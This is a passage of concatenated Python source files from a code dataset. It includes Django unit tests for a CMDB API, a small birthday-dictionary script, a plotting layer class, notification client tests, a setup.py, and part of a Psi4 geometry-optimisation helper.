positions=pos, cell=atoms.get_cell())\n attach_charges(newatoms, 'ACF.dat')\n print('#+tblname: bader')\n print('#+caption: Bader charges for a water molecule')\n print('| atom | Bader charge|')\n print('|-')\n for atom in newatoms:\n print('|{0} | {1} |'.format(atom.symbol, atom.charge))","sub_path":"learn/script-38.py","file_name":"script-38.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"67670575","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport json\nimport random\n\nfrom django.conf import settings\nfrom django.core.cache import cache\nfrom django.http import HttpRequest\nfrom django.test import TestCase\nfrom tastypie.bundle import Bundle\n\nfrom ralph.account. models import BoundPerm, Profile, Perm\nfrom ralph.business.models import Venture\nfrom ralph.cmdb import models as chdb\nfrom ralph.cmdb.api import CIChangeCMDBHistoryResource\nfrom ralph.cmdb.importer import CIImporter\nfrom ralph.cmdb.models import (\n CIChangePuppet,\n CIChangeGit,\n CIChangeCMDBHistory,\n CIChange,\n CILayer,\n CI_RELATION_TYPES,\n)\nfrom ralph.cmdb.models_ci import (\n CIOwnershipType,\n CIOwnership,\n CI,\n CIOwner,\n CIType,\n CIRelation,\n)\nfrom ralph.ui.tests.global_utils import create_user\n\nCURRENT_DIR = settings.CURRENT_DIR\n\n\nclass CMDBApiTest(TestCase):\n def setUp(self):\n self.user = create_user('api_user', 'test@mail.local', 'password')\n self.layers = CILayer.objects.all()\n self.types = CIType.objects.all()\n self.create_owners()\n self.create_cis()\n self.create_ownerships()\n self.create_relations()\n self.data = {\n 'format': 'json',\n 'username': self.user.username,\n 'api_key': self.user.api_key.key\n }\n cache.delete(\"api_user_accesses\")\n\n def create_owners(self):\n self.owner1 = CIOwner(\n first_name='first_name_owner1',\n last_name='last_name_owner1',\n email='first_name_owner1.last_name_owner1@ralph.local',\n )\n self.owner1.save()\n self.owner2 = CIOwner(\n first_name='first_name_owner2',\n last_name='last_name_owner2',\n email='first_name_owner2.last_name_owner2@ralph.local',\n )\n self.owner2.save()\n\n def create_cis(self):\n self.ci1 = CI(\n uid='uid-ci1',\n type=self.types[0],\n barcode='barcodeci1',\n name='ciname1',\n )\n self.ci1.save()\n self.ci1.layers = [self.layers[0].id, self.layers[1].id]\n self.ci1.save()\n self.ci2 = CI(\n uid='uid-ci2',\n type=self.types[1],\n barcode='barcodeci2',\n name='ciname2',\n )\n self.ci2.save()\n self.ci2.layers = [self.layers[0].id]\n self.ci2.save()\n self.ci3 = CI(\n uid='other-ci3',\n type=self.types[1],\n barcode='otherbarcodeci3',\n name='otherci',\n )\n self.ci3.save()\n self.ci3.layers = [self.layers[1].id]\n self.ci3.save()\n\n def create_ownerships(self):\n self.ciownership1 = CIOwnership(\n ci=self.ci1,\n owner=self.owner1,\n type=CIOwnershipType.technical,\n )\n self.ciownership1.save()\n self.ciownership2 = CIOwnership(\n ci=self.ci1,\n owner=self.owner2,\n type=CIOwnershipType.business,\n )\n self.ciownership2.save()\n self.ciownership3 = CIOwnership(\n ci=self.ci2,\n owner=self.owner2,\n type=CIOwnershipType.business,\n )\n self.ciownership3.save()\n\n def create_relations(self):\n self.relation1 = CIRelation(\n parent=self.ci1,\n child=self.ci2,\n type=CI_RELATION_TYPES.CONTAINS,\n )\n self.relation1.save()\n self.relation2 = CIRelation(\n parent=self.ci2,\n child=self.ci3,\n type=CI_RELATION_TYPES.HASROLE,\n )\n self.relation2.save()\n\n def test_layers(self):\n path = \"/api/v0.9/cilayers/\"\n response = self.client.get(path=path, data=self.data, format='json')\n json_string = response.content\n json_data = json.loads(json_string)\n resource_uris = [ci_layer['resource_uri'] for ci_layer in json_data['objects']]\n\n response = self.client.get(\n path=resource_uris[0], data=self.data, format='json',\n )\n json_string = response.content\n json_data = json.loads(json_string)\n self.assertEqual(json_data['name'], self.layers[0].name)\n\n response = self.client.get(\n path=resource_uris[1], data=self.data, format='json',\n )\n json_string = response.content\n json_data = json.loads(json_string)\n self.assertEqual(json_data['name'], self.layers[1].name)\n\n def test_types(self):\n path = \"/api/v0.9/citypes/\"\n response = self.client.get(path=path, data=self.data, format='json')\n json_string = response.content\n json_data = json.loads(json_string)\n resource_uris = [ci_type['resource_uri'] for ci_type in json_data['objects']]\n\n response = self.client.get(\n path=resource_uris[0], data=self.data, format='json',\n )\n json_string = response.content\n json_data = json.loads(json_string)\n\n self.assertEqual(json_data['name'], self.types[0].name)\n\n response = self.client.get(\n path=resource_uris[1], data=self.data, format='json',\n )\n json_string = response.content\n json_data = json.loads(json_string)\n self.assertEqual(json_data['name'], self.types[1].name)\n\n def test_ci(self):\n path = \"/api/v0.9/ci/\"\n response = self.client.get(path=path, data=self.data, format='json')\n json_string = response.content\n json_data = json.loads(json_string)\n resource_uris = [ci['resource_uri'] for ci in json_data['objects']]\n\n response = self.client.get(\n path=resource_uris[0], data=self.data, format='json',\n )\n json_string = response.content\n json_data = json.loads(json_string)\n self.assertEqual(json_data['layers'][0]['name'], self.layers[0].name)\n self.assertEqual(json_data['layers'][1]['name'], self.layers[1].name)\n self.assertEqual(json_data['barcode'], self.ci1.barcode)\n self.assertEqual(json_data['name'], self.ci1.name)\n self.assertEqual(json_data['type']['name'], self.ci1.type.name)\n self.assertEqual(json_data['uid'], self.ci1.uid)\n self.assertEqual(\n json_data['technical_owners'][0]['username'],\n '{}.{}'.format(self.owner1.first_name, self.owner1.last_name)\n )\n self.assertEqual(\n json_data['business_owners'][0]['username'],\n '{}.{}'.format(self.owner2.first_name, self.owner2.last_name)\n )\n\n response = self.client.get(\n path=resource_uris[1], data=self.data, format='json',\n )\n json_string = response.content\n json_data = json.loads(json_string)\n self.assertEqual(json_data['layers'][0]['name'], self.layers[0].name)\n self.assertEqual(json_data['barcode'], self.ci2.barcode)\n self.assertEqual(json_data['name'], self.ci2.name)\n self.assertEqual(json_data['type']['name'], self.ci2.type.name)\n self.assertEqual(json_data['uid'], self.ci2.uid)\n self.assertFalse(json_data['technical_owners'])\n self.assertEqual(\n json_data['business_owners'][0]['username'],\n '{}.{}'.format(self.owner2.first_name, self.owner2.last_name)\n )\n\n def test_relations(self):\n path = \"/api/v0.9/cirelation/\"\n response = self.client.get(path=path, data=self.data, format='json')\n json_string = response.content\n json_data = json.loads(json_string)\n resource_uris = [ci_relation['resource_uri'] for ci_relation in json_data['objects']]\n\n response = self.client.get(\n path=resource_uris[0], data=self.data, format='json',\n )\n json_string = response.content\n json_data = json.loads(json_string)\n self.assertEqual(json_data['parent'], self.ci1.id)\n self.assertEqual(json_data['child'], self.ci2.id)\n self.assertEqual(json_data['type'], CI_RELATION_TYPES.CONTAINS)\n\n response = self.client.get(\n path=resource_uris[1], data=self.data, format='json',\n )\n json_string = response.content\n json_data = json.loads(json_string)\n self.assertEqual(json_data['parent'], self.ci2.id)\n self.assertEqual(json_data['child'], self.ci3.id)\n self.assertEqual(json_data['type'], CI_RELATION_TYPES.HASROLE)\n\n def test_ci_filter_exact(self):\n path = \"/api/v0.9/ci/\"\n data = self.data.copy()\n data['name__exact'] = 'otherci'\n response = self.client.get(path=path, data=data, format='json')\n json_string = response.content\n json_data = json.loads(json_string)\n resource_uris = [ci['resource_uri'] for ci in json_data['objects']]\n self.assertEqual(len(resource_uris), 1)\n response = self.client.get(\n path=resource_uris[0], data=data, format='json',\n )\n json_string = response.content\n json_data = json.loads(json_string)\n self.assertEqual(json_data['layers'][0]['name'], self.layers[1].name)\n self.assertEqual(json_data['barcode'], self.ci3.barcode)\n self.assertEqual(json_data['name'], self.ci3.name)\n self.assertEqual(json_data['type']['name'], self.ci3.type.name)\n self.assertEqual(json_data['uid'], self.ci3.uid)\n\n def test_ci_filter_startswith(self):\n data = self.data.copy()\n path = \"/api/v0.9/ci/\"\n data['name__startswith'] = 'ciname'\n response = self.client.get(path=path, data=data, format='json')\n json_string = response.content\n json_data = json.loads(json_string)\n resource_uris = [ci['resource_uri'] for ci in json_data['objects']]\n self.assertEqual(len(resource_uris), 2)\n response = self.client.get(\n path=resource_uris[0], data=data, format='json',\n )\n json_string = response.content\n json_data = json.loads(json_string)\n self.assertEqual(json_data['layers'][0]['name'], self.layers[0].name)\n self.assertEqual(json_data['barcode'], self.ci1.barcode)\n self.assertEqual(json_data['name'], self.ci1.name)\n self.assertEqual(json_data['type']['name'], self.ci1.type.name)\n self.assertEqual(json_data['uid'], self.ci1.uid)\n\n response = self.client.get(\n path=resource_uris[1], data=data, format='json',\n )\n json_string = response.content\n json_data = json.loads(json_string)\n self.assertEqual(json_data['layers'][0]['name'], self.layers[0].name)\n self.assertEqual(json_data['barcode'], self.ci2.barcode)\n self.assertEqual(json_data['name'], self.ci2.name)\n self.assertEqual(json_data['type']['name'], self.ci2.type.name)\n self.assertEqual(json_data['uid'], self.ci2.uid)\n\n\nclass CIApiTest(TestCase):\n def setUp(self):\n self.user = create_user(\n 'api_user',\n 'test@mail.local',\n 'password',\n is_superuser=True\n )\n self.puppet_cv = \"v%s\" % random.randrange(0, 1000)\n self.post_data_puppet = {\n 'configuration_version': self.puppet_cv,\n 'host': 's11111.dc2',\n 'kind': 'apply',\n 'status': 'failed',\n 'time': '2012-11-14 13:00:00',\n }\n\n self.git_changeset = \"change:%s\" % random.randrange(0, 1000)\n self.git_comment = \"comment:%s\" % random.randrange(0, 1000)\n self.post_data_git = {\n 'author': 'Jan Kowalski',\n 'changeset': self.git_changeset,\n 'comment': self.git_comment,\n 'file_paths': '/some/path',\n }\n\n temp_venture = Venture.objects.create(name='TempTestVenture')\n if settings.AUTOCI:\n self.ci = CI.get_by_content_object(temp_venture)\n else:\n CIImporter().import_single_object(temp_venture)\n self.ci = CI.objects.create(\n name='TempTestVentureCI',\n uid=CI.get_uid_by_content_object(temp_venture),\n type_id=4,\n )\n\n self.cmdb_new_value = 'nv_%s' % random.randrange(0, 1000)\n self.cmdb_old_value = 'ov_%s' % random.randrange(0, 1000)\n self.post_data_cmdb_change = {\n 'ci': '/api/v0.9/ci/%d/' % self.ci.pk,\n 'comment': 'test api',\n 'field_name': 'child',\n 'new_value': self.cmdb_new_value,\n 'old_value': self.cmdb_old_value,\n 'time': '2012-11-15 12:00:00',\n }\n cache.clear()\n\n def test_ci_change_puppet_registration(self):\n response = self.client.post(\n '/api/v0.9/cichangepuppet/?username={}&api_key={}'.format(\n self.user.username,\n self.user.api_key.key,\n ),\n json.dumps(self.post_data_puppet),\n content_type='application/json'\n )\n self.assertEqual(response.status_code, 201)\n puppet_change = None\n try:\n puppet_change = CIChangePuppet.objects.get(\n host='s11111.dc2', configuration_version=self.puppet_cv)\n except CIChangePuppet.DoesNotExist:\n pass\n self.assertNotEqual(puppet_change, None)\n self.assertEqual(puppet_change.kind, 'apply')\n self.assertEqual(puppet_change.status, 'failed')\n self.assertEqual(\n CIChange.objects.filter(\n object_id=puppet_change.id,\n type=chdb.CI_CHANGE_TYPES.CONF_AGENT.id).count(), 1)\n\n def test_ci_change_git_registration(self):\n response = self.client.post(\n '/api/v0.9/cichangegit/?username={}&api_key={}'.format(\n self.user.username,\n self.user.api_key.key,\n ),\n json.dumps(self.post_data_git),\n content_type='application/json'\n )\n self.assertEqual(response.status_code, 201)\n git_change = None\n try:\n git_change = CIChangeGit.objects.get(changeset=self.git_changeset,\n comment=self.git_comment)\n except CIChangePuppet.DoesNotExist:\n pass\n self.assertNotEqual(git_change, None)\n self.assertEqual(git_change.author, 'Jan Kowalski')\n self.assertEqual(git_change.file_paths, '/some/path')\n self.assertEqual(\n CIChange.objects.filter(\n object_id=git_change.id,\n type=chdb.CI_CHANGE_TYPES.CONF_GIT.id,\n ).count(),\n 1,\n )\n\n def test_ci_change_cmdbhistory_registration(self):\n request = HttpRequest()\n request.user = self.user\n cmdb_bundle = Bundle(data=self.post_data_cmdb_change, request=request)\n cmdb_resource = CIChangeCMDBHistoryResource()\n cmdb_resource.obj_create(bundle=cmdb_bundle)\n\n cmdb_change = None\n try:\n cmdb_change = CIChangeCMDBHistory.objects.get(\n ci_id=self.ci.id, old_value=self.cmdb_old_value,\n new_value=self.cmdb_new_value)\n except CIChangeCMDBHistory.DoesNotExist:\n pass\n self.assertNotEqual(cmdb_change, None)\n self.assertEqual(\n CIChange.objects.filter(\n object_id=cmdb_change.id,\n type=chdb.CI_CHANGE_TYPES.CI.id\n ).count(),\n 1,\n )\n\n\nclass AccessToCMDBApiTest(TestCase):\n def setUp(self):\n self.user = create_user(\n 'api_user',\n 'test@mail.local',\n 'password',\n is_staff=False,\n is_superuser=False,\n )\n self.api_login = {\n 'format': 'json',\n 'username': self.user.username,\n 'api_key': self.user.api_key.key,\n }\n cache.delete(\"api_user_accesses\")\n\n\n def get_response(self, resource):\n path = \"/api/v0.9/%s/\" % resource\n response = self.client.get(\n path=path,\n data=self.api_login,\n format='json',\n )\n return response\n\n def add_perms(self, perms):\n user_profile = Profile.objects.get(user=self.user)\n for perm in perms:\n BoundPerm(profile=user_profile, perm=perm).save()\n\n def test_businessline_resource(self):\n resource = 'businessline'\n perms = [Perm.read_configuration_item_info_generic,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n\n def test_service_resource(self):\n resource = 'service'\n perms = [Perm.read_configuration_item_info_generic,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n\n def test_cirelation_resource(self):\n resource = 'cirelation'\n perms = [Perm.read_configuration_item_info_generic,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n\n def test_ci_resource(self):\n resource = 'ci'\n perms = [Perm.read_configuration_item_info_generic,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n\n def test_cilayers_resource(self):\n resource = 'cilayers'\n perms = [Perm.read_configuration_item_info_generic,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n\n def test_cichange_resource(self):\n resource = 'cichange'\n perms = [Perm.read_configuration_item_info_generic,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n\n def test_cichangezabbixtrigger_resource(self):\n resource = 'cichangezabbixtrigger'\n perms = [Perm.read_configuration_item_info_generic,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n\n def test_cichangegit_resource(self):\n resource = 'cichangegit'\n perms = [Perm.read_configuration_item_info_git,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n\n def test_cichangepuppet_resource(self):\n resource = 'cichangepuppet'\n perms = [Perm.read_configuration_item_info_puppet,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n\n def test_cichangecmdbhistory_resource(self):\n resource = 'cichangecmdbhistory'\n perms = [Perm.read_configuration_item_info_generic,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n\n def test_citypes_resource(self):\n resource = 'citypes'\n perms = [Perm.read_configuration_item_info_generic,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n\n def test_ciowners_resource(self):\n resource = 'ciowners'\n perms = [Perm.read_configuration_item_info_generic,]\n\n schema = '%s/schema' % resource\n response = self.get_response(schema)\n self.assertEqual(response.status_code, 200)\n\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 401)\n\n # Add perms to display resources\n self.add_perms(perms=perms)\n response = self.get_response(resource)\n self.assertEqual(response.status_code, 200)\n","sub_path":"src/ralph/cmdb/tests/unit/tests_api.py","file_name":"tests_api.py","file_ext":"py","file_size_in_byte":22891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"65289442","text":"birthdays = {'Alice': 'April 1', 'Bob' : 'Dec 12', 'Alex': 'Sept 28'} # The dictionary of names available.\n\nwhile True:\n\tprint (\"Enter a name: (blank to quit)\") # Prompt the user.\n\tname = input () # Ask the user to enter the name.\n\tif name == ' ': # If the user doesn't type anything, it stops the program.\n\t\tbreak\n\n\tif name in birthdays: # Checks to see if the thing you entered is in the dictionary.\n\t\tprint (birthdays[name] + ' is the birthday of ' + name) # Say whose birthday it is.\n\n\telse: # If the user enters something invalid, tell them you do not recognize the name.\n\t\tprint ('I do not have the birthday information for ' + name) # Tell the user you don't have the name.\n\t\tprint ('What is their birthday?')\n\t\tbday = input\n\t\tbirthdays[name] = bday\n\t\tprint(\"Birthday database updated.\")\n","sub_path":"birthdays.py","file_name":"birthdays.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"171041549","text":"# coding: utf-8\nfrom .plot_layer import PlotLayer\nfrom nuwe_data_viewer.plugin.plot_renderer.grid_data import GridData\n\n\nclass ContourLayer(PlotLayer):\n def __init__(self, name, core_id=None, fill=False):\n PlotLayer.__init__(self, name, core_id)\n self.grid_data = None\n self.fill = fill\n\n self.levels = None\n self.colors = None\n self.color_map = None\n self.line_width = None\n self.line_type = None\n\n def set_data(self, grid_data: GridData):\n self.grid_data = grid_data\n","sub_path":"nuwe_data_viewer/plugin/plot_renderer/plot/contour_layer.py","file_name":"contour_layer.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"599748991","text":"import pytest\nfrom app.notify_client.notification_api_client import NotificationApiClient\n\n\n@pytest.mark.parametrize(\"arguments,expected_call\", [\n (\n {},\n {'url': '/service/abcd1234/notifications', 'params': {}}\n ),\n (\n {'page': 99},\n {'url': '/service/abcd1234/notifications', 'params': {'page': 99}}\n ),\n (\n {'include_jobs': False},\n {'url': '/service/abcd1234/notifications', 'params': {'include_jobs': False}}\n ),\n (\n {'include_from_test_key': True},\n {'url': '/service/abcd1234/notifications', 'params': {'include_from_test_key': True}}\n ),\n (\n {'job_id': 'efgh5678'},\n {'url': '/service/abcd1234/job/efgh5678/notifications', 'params': {}}\n ),\n (\n {'job_id': 'efgh5678', 'page': 48},\n {'url': '/service/abcd1234/job/efgh5678/notifications', 'params': {'page': 48}}\n )\n])\ndef test_client_gets_notifications_for_service_and_job_by_page(mocker, arguments, expected_call):\n\n mock_get = mocker.patch('app.notify_client.notification_api_client.NotificationApiClient.get')\n NotificationApiClient().get_notifications_for_service('abcd1234', **arguments)\n mock_get.assert_called_once_with(**expected_call)\n\n\ndef test_send_notification(mocker, logged_in_client, active_user_with_permissions):\n mock_post = mocker.patch('app.notify_client.notification_api_client.NotificationApiClient.post')\n NotificationApiClient().send_notification('foo', template_id='bar', recipient='07700900001', personalisation=None)\n mock_post.assert_called_once_with(\n url='/service/foo/send-notification',\n data={\n 'template_id': 'bar',\n 'to': '07700900001',\n 'personalisation': None,\n 'created_by': active_user_with_permissions.id\n }\n )\n\n\ndef test_get_notification(mocker):\n mock_get = mocker.patch('app.notify_client.notification_api_client.NotificationApiClient.get')\n NotificationApiClient().get_notification('foo', 'bar')\n mock_get.assert_called_once_with(\n url='/service/foo/notifications/bar'\n )\n","sub_path":"tests/app/notify_client/test_notification_client.py","file_name":"test_notification_client.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"168268848","text":"#!/usr/bin/env python\n\nfrom setuptools import setup\n\nVERSION = None\nwith open('ipxeplease/__init__.py') as f:\n for line in f:\n if line.startswith('__version__'):\n VERSION = line.replace(\"'\", '').split('=')[1].strip()\n break\nif VERSION is None:\n raise ValueError('__version__ not found in __init__.py')\n\nDOWNLOAD_URL = 'https://github.com/teran-mckinney/ipxeplease-python/tarball/{}'\n\nDESCRIPTION = 'ipxeplease Python client library'\n\nsetup(\n python_requires='>=3.3',\n name='ipxeplease',\n version=VERSION,\n author='Teran McKinney',\n author_email='sega01@go-beyond.org',\n description=DESCRIPTION,\n keywords=['ipxe'],\n license='Unlicense',\n url='https://github.com/teran-mckinney/ipxeplease-python',\n download_url=DOWNLOAD_URL.format(VERSION),\n packages=['ipxeplease'],\n install_requires=[\n 'aaargh',\n 'requests'\n ]\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"481638997","text":"import os\nimport sys\nfrom socket import gethostname\nimport openbabel\nimport re\nimport time\nimport apicall as call\nimport shlex\nimport numpy as np\nimport shutil\nimport torsiongenerator as torgen\nimport traceback\nimport warnings\nfrom rdkit.Chem import rdmolfiles\nfrom rdkit import Chem\n\ndef GeometryOPTWrapper(poltype,mol):\n try:\n optmol,error,torsionrestraints = GeometryOptimization(poltype,mol)\n except:\n redo=False\n if poltype.fullopt==True:\n if poltype.pcm==True:\n # Gaussian would have been used first if was detected. \n poltype.pcm=False\n poltype.optpcm=False\n redo=True\n else:\n if poltype.optmethod=='MP2' and (poltype.use_gaus==False and poltype.use_gausoptonly==False) and poltype.foundgauss==True:\n redo=True\n poltype.use_gausoptonly=True\n\n if redo==True:\n shutil.copy(poltype.logoptfname,poltype.logoptfname.replace('.log','_failed.log'))\n optmol,error,torsionrestraints = GeometryOPTWrapper(poltype,mol) # recursive call allows for muliple attempts\n else:\n traceback.print_exc(file=sys.stdout)\n sys.exit()\n\n return optmol,error,torsionrestraints\n \n\n\ndef CreatePsi4OPTInputFile(poltype,comfilecoords,comfilename,mol,modred,bondanglerestraints,skipscferror,chg,loose,torsionrestraints=[]):\n tempread=open(comfilecoords,'r')\n results=tempread.readlines()\n tempread.close()\n inputname=comfilename.replace('.com','.psi4')\n temp=open(inputname,'w')\n temp.write('molecule { '+'\\n')\n if chg==None:\n temp.write('%d %d\\n' % (mol.GetTotalCharge(), mol.GetTotalSpinMultiplicity()))\n else:\n temp.write('%d %d\\n' % (chg, mol.GetTotalSpinMultiplicity()))\n\n for lineidx in range(len(results)):\n line=results[lineidx]\n linesplit=line.split()\n if len(linesplit)==4 and '#' not in line:\n temp.write(line)\n temp.write('}'+'\\n')\n if poltype.optpcm==True:\n temp.write('set {'+'\\n')\n if loose==True:\n temp.write(' g_convergence GAU_LOOSE'+'\\n')\n else:\n temp.write(' g_convergence GAU'+'\\n')\n\n temp.write(' scf_type pk'+'\\n')\n temp.write(' pcm true'+'\\n')\n temp.write(' pcm_scf_type total '+'\\n')\n temp.write(' geom_maxiter '+str(poltype.optmaxcycle)+'\\n')\n temp.write('}'+'\\n')\n temp.write('pcm = {'+'\\n')\n temp.write(' Units = Angstrom'+'\\n')\n temp.write(' Medium {'+'\\n')\n temp.write(' SolverType = IEFPCM'+'\\n')\n temp.write(' Solvent = Water'+'\\n')\n temp.write(' }'+'\\n')\n temp.write(' Cavity {'+'\\n')\n temp.write(' RadiiSet = UFF'+'\\n')\n temp.write(' Type = GePol'+'\\n')\n temp.write(' Scaling = False'+'\\n')\n temp.write(' Area = 0.3'+'\\n')\n temp.write(' Mode = Implicit'+'\\n')\n temp.write(' }'+'\\n')\n temp.write('}'+'\\n')\n else:\n temp.write('set {'+'\\n')\n temp.write(' geom_maxiter '+str(poltype.optmaxcycle)+'\\n')\n if loose==True:\n temp.write(' g_convergence GAU_LOOSE'+'\\n')\n else:\n temp.write(' g_convergence GAU'+'\\n')\n\n temp.write(' dynamic_level 1'+'\\n')\n temp.write('}'+'\\n')\n\n if bondanglerestraints!=None:\n space=' '\n bondres=[bondanglerestraints[0]]\n string='frozen_distance'\n temp.write('set optking{'+'\\n')\n temp.write(' '+string+' '+'='+' '+'('+'\"'+'\\n')\n for res in bondres:\n res=[str(i) for i in res]\n resstring=' '.join(res)+'\\n'\n temp.write(' '+resstring)\n temp.write(' \"'+')'+'\\n')\n temp.write('}'+'\\n')\n \n anglerestraints=bondanglerestraints[1:]\n string='frozen_bend'\n if len(anglerestraints)!=0:\n temp.write('set optking{'+'\\n')\n temp.write(' '+string+' '+'='+' '+'('+'\"'+'\\n')\n for res in anglerestraints:\n res=[str(i) for i in res]\n resstring=' '.join(res)+'\\n'\n temp.write(' '+resstring)\n temp.write(' \"'+')'+'\\n')\n temp.write('}'+'\\n')\n if len(torsionrestraints)!=0:\n temp.write('set optking { '+'\\n')\n temp.write(' frozen_dihedral = (\"'+'\\n')\n for residx in range(len(torsionrestraints)):\n res=torsionrestraints[residx]\n rta,rtb,rtc,rtd=res[:]\n if residx>0:\n temp.write(', %d %d %d %d\\n' % (rta,rtb,rtc,rtd))\n else:\n temp.write(' %d %d %d %d\\n' % (rta,rtb,rtc,rtd))\n\n temp.write(' \")'+'\\n')\n temp.write('}'+'\\n')\n\n if poltype.allowradicals==True:\n temp.write('set reference uhf '+'\\n')\n\n\n temp.write('memory '+poltype.maxmem+'\\n')\n temp.write('set_num_threads(%s)'%(poltype.numproc)+'\\n')\n temp.write('psi4_io.set_default_path(\"%s\")'%(poltype.scrtmpdirpsi4)+'\\n')\n temp.write('for _ in range(1):'+'\\n')\n temp.write(' try:'+'\\n')\n if poltype.optpcm==True:\n temp.write(' set opt_coordinates cartesian'+'\\n')\n spacedformulastr=mol.GetSpacedFormula()\n if ('I ' in spacedformulastr):\n temp.write(' basis {'+'\\n')\n temp.write(' ['+' '+poltype.optbasissetfile+' '+poltype.iodineoptbasissetfile +' '+ ']'+'\\n')\n temp=ReadInBasisSet(poltype,temp,poltype.optbasissetfile,poltype.iodineoptbasissetfile)\n temp.write(' }'+'\\n')\n temp.write(\" optimize('%s')\" % (poltype.optmethod.lower())+'\\n')\n\n else:\n\n if modred==False:\n temp.write(' set opt_coordinates both'+'\\n')\n temp.write(\" optimize('%s/%s')\" % (poltype.optmethod.lower(),poltype.optbasisset)+'\\n')\n if poltype.freq:\n temp.write(' scf_e,scf_wfn=freq(\"%s/%s\",return_wfn=True)'%(poltype.optmethod.lower(),poltype.optbasisset)+'\\n')\n temp.write(' break'+'\\n')\n temp.write(' except OptimizationConvergenceError:'+'\\n')\n temp.write(' break'+'\\n')\n if skipscferror==True:\n temp.write(' except SCFConvergenceError:'+'\\n')\n temp.write(' pass'+'\\n')\n \n temp.write(' else:'+'\\n')\n temp.write(' try:'+'\\n')\n temp.write(' set opt_coordinates cartesian'+'\\n')\n if ('I ' in spacedformulastr):\n temp.write(\" optimize('%s')\" % (poltype.optmethod.lower())+'\\n')\n else:\n temp.write(\" optimize('%s/%s')\" % (poltype.optmethod.lower(),poltype.optbasisset)+'\\n')\n\n if poltype.freq:\n temp.write(' scf_e,scf_wfn=freq(\"%s/%s\",return_wfn=True)'%(poltype.optmethod.lower(),poltype.optbasisset)+'\\n')\n temp.write(' break'+'\\n')\n temp.write(' except OptimizationConvergenceError:'+'\\n')\n temp.write(' '+'pass'+'\\n')\n\n temp.write('clean()'+'\\n')\n temp.close()\n outputname=os.path.splitext(inputname)[0] + '.log'\n return inputname,outputname\n\ndef ReadInBasisSet(poltype,tmpfh,normalelementbasissetfile,otherelementbasissetfile):\n newtemp=open(poltype.basissetpath+normalelementbasissetfile,'r')\n results=newtemp.readlines()\n newtemp.close()\n for line in results:\n if '!' not in line:\n tmpfh.write(' '+line)\n\n\n newtemp=open(poltype.basissetpath+otherelementbasissetfile,'r')\n results=newtemp.readlines()\n newtemp.close()\n for line in results:\n if '!' not in line:\n tmpfh.write(' '+line)\n return tmpfh\n\n\n\ndef NumberInLine(poltype,line):\n numinline=False\n linesplit=line.split()\n for e in linesplit:\n try:\n float(e)\n numinline=True\n except:\n 